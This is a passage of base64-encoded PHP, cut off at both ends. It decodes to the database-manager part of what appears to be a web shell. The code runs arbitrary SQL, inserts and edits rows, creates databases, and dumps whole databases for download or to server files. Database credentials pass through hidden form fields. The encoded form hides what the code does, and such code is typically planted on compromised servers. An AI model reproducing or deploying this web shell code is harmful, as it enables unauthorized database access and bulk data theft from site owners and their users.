SU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgewogICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KICB9CiAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7CmVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CmlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQppZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgeyBlY2hvICI8dGFibGUgY2xhc3M9J3RhYic+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsgfQogIH0KICBpZiAoaW5fYXJyYXkoJHNxbF94LCR4cykpIHsKZWNobyAnPHRhYmxlIGNsYXNzPSJ0YWIiPgo8dHI+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+CjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPgo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+CkZpZWxkczogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9maWVsZCIgc2l6ZT0iMyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgo8L2Zvcm0+CjwvdGQ+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+PGI+RHVtcCBEQjo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iZHVtcF8nLmdldGVudigiU0VSVkVSX05BTUUiKS4nXycuJHNxbF9kYi4nXycuZGF0ZSgiZC1tLVktSC1pLXMiKS4nLnNxbCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkR1bXAiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKaWYgKCFlbXB0eSgkc3FsX3gpKSB7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsgfQppZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7CiAgZWNobyAiPGI+IjsKICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgewplY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOwogIH0KICBlbHNlIHsgZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7IH0KfQplbHNlaWYgKCRzcWxfeCA9PSAiZHVtcCIpIHsKICBpZiAoZW1wdHkoJHN1Ym1pdCkpIHsKJGRpcGxheSA9IEZBTFNFOwplY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOwplY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsKZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpIDo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwppZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KZWNobyAiPGI+RmlsZTo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7CmVjaG8gIjxiPkRvd25sb2FkOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKZWNobyAiPGJyPjxicj48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPiI7CmVjaG8gIjwvZm9ybT4iOwogIH0KICBlbHNlIHsKJGRpcGxheSA9IFRSVUU7ICRzZXQgPSBhcnJheSgpOyAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7ICRzZXRbImRiIl0gPSAkc3FsX2RiOyAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOyAkc2V0WyJwcmludCJdID0gMDsKJHNldFsibmwyYnIiXSA9IDA7ICRzZXRbIiJdID0gMDsgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7ICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwppZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQokcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogIEBvYl9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICBlY2hvICRyZXQ7CiAgZXhpdDsKfQplbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgZWxzZSB7CmZ3cml0ZSgkZnAsJHJldCk7CmZjbG9zZSgkZnApOwplY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogIH0KfQplbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICB9Cn0KaWYgKCRkaXBsYXkpIHsKICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgewogIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgaWYgKEAkc3FsX2xzID4gQCRzcWxfbGUpIHsgJHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyAkc3FsX3RibF9wYWdlID0gMDsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHsgJHNxbF90YmxfbHMgPSAwOyB9CiAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyAkc3FsX3RibF9sZSA9IDMwOyB9CiAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOwogIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHsgJHBlcnBhZ2UgPSAxMDsgfQogICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICBpZiAoY291bnQoJGUpID09IDIpIHsKaWYgKCRlWzBdID09ICJkIikgeyAkYXNjX2Rlc2MgPSAiREVTQyI7IH0KZWxzZSB7ICRhc2NfZGVzYyA9ICJBU0MiOyB9CiR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICB9CiAgZWxzZSB7JHYgPSAiIjt9CiAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+ICZuYnNwOyAiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiAmbmJzcDsgIjsKICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikgeyBlY2hvICI8Yj5VbmRlciBjb25zdHJ1Y3Rpb24hPC9iPiI7IH0KICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7IGVjaG8gIjxiPlVuZGVyIGNvbnN0cnVjdGlvbiE8L2I+IjsgfQplbHNlIHsKICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7CiAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHsKJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgfQogIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRhYmxlIHdpZHRoPVwiMSVcIiBjbGFzcz0ndHViJz48dHI+PHRoPjxiPkZpZWxkPC9iPjwvdGg+PHRoPjxiPlR5cGU8L2I+PC90aD48dGg+PGI+RnVuY3Rpb248L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CiAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewokbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQplY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwokaSsrOwogIH0KICBlY2hvICI8L3RhYmxlPjxicj4iOwogIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogIGVjaG8gIjxicj48YnI+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwp9CiAgfQogIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwplY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CmVjaG8gIjxiPlBhZ2U6IDwvYj4iOwokYiA9IDA7CmZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7CiAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgZWNobyAkaTsKICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogIGVsc2UgeyBlY2hvICIgIjsgfQp9CmlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KZWNobyAiPGJyPjxicj48Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+IDxiPlRvOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90